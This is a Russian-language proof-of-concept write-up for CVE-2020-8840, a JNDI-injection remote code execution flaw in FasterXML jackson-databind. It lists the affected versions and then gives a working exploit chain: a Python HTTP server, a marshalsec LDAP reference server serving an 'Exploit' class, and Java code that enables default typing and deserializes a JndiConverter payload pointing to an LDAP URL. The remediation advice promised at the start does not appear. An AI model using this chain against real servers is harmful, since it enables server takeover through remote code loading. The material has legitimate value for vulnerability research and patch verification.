
PoC-эксплойт для CVE-2020-8840: JNDI-инъекция, приводящая к удалённому выполнению кода в FasterXML jackson-databind. Включает настройку окружения, цепочку эксплуатации и рекомендации по устранению уязвимости.
jackson-databind — это библиотека для обработки JSON, принадлежащая проектной группе FasterXML.
19 февраля NVD опубликовал уведомление о безопасности, раскрывающее уязвимость удалённого выполнения кода в jackson-databind, вызванную JNDI-инъекцией (CVE-2020-8840), с оценкой CVSS 9.8. В затронутых версиях jackson-databind отсутствуют некоторые классы из чёрного списка xbean-reflect/JNDI, например org.apache.xbean.propertyeditor.JndiConverter, что позволяет атакующему добиться удалённого выполнения кода с помощью JNDI-инъекции. При успешной атаке можно получить контроль над сервером (на уровне веб-службы).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

Здесь для развёртывания веб-службы используется simplehttp.python -m SimpleHTTPServer 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit


poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
